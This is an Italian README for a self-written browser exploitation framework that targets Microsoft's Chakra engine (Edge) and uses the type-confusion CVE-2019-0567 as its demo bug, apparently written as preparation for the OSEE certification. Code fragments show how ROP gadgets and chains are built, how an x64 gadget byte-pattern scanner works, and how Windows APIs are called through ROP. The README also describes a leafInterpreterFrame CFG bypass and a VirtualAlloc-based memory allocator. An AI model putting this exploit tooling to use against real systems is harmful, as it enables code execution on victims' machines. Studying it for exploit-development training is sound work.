Framework di sfruttamento del browser per Chakra (Edge). Scritto come parte della preparazione OSEE. Bug dimostrativo: CVE-2019-0567
Questo repository contiene il Browser Exploitation Framework che ho scritto per prepararmi al corso EXP-401. Il framework ha come target il motore Chakra, che faceva parte di Edge fino al passaggio a v8 nel 2019.
La vulnerabilità demo utilizzata nel framework è la Type Confusion CVE-2019-0567.

Per rendere questo framework facile da usare, ho implementato alcune belle funzionalità che rendono incredibilmente semplice l'implementazione di future sandbox escape.
Il framework permette di chiamare le API di Windows ad alto livello. Utilizza una ROP Chain GetProcAddress per risolvere qualsiasi API e consente fino a quattro parametri.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
Il bypass CFG che ho utilizzato è la tecnica leafInterpreterFrame. Attraversando alcuni oggetti, è possibile ottenere un indirizzo dello stack. Da qui, si può cercare un puntatore a funzione, sovrascriverlo e ottenere l'esecuzione. Portarlo sulla mia versione di Chakra è stato un po' complesso, quindi ho scritto un blog a riguardo qui.
Un amico mi ha mostrato una tecnica davvero interessante per rendere molto facile il ritorno al contesto JavaScript. Avvolgono il loro bypass CFG in una chiamata [1].map(), il che significa che possono continuare l'esecuzione nella loro funzione genitore - rende il codice molto più pulito. Puoi vedere un esempio qui
Molte API di Windows richiedono che i parametri e i buffer siano allineati. In precedenza, chiamavo le API di Windows inserendo i parametri nella sezione .data - era molto doloroso. Alla fine, ho scritto il mio allocatore di memoria che chiama VirtualAlloc, in ROP, e poi permette ad altri oggetti di malloc memoria dal buffer. L'allocatore di memoria restituirà sempre buffer allineati!
Il modo in cui vengono scritte le catene ROP è il seguente:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
I gadget ROP sottostanti sono implementati come piccole funzioni:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
In questo modo, possiamo realizzare catene di gadget più complesse per eseguire un'azione di più alto livello come pop r9. Non c'era un gadget carino, quindi è implementato come combinazione di alcuni:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Per cercare di aumentare la portabilità del framework, esiste anche uno Scanner di Pattern ROP. Utilizza la primitiva read per cercare una sequenza di byte che forma la catena richiesta.
C'è anche una cache globale che migliora drasticamente le prestazioni dello scanner.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}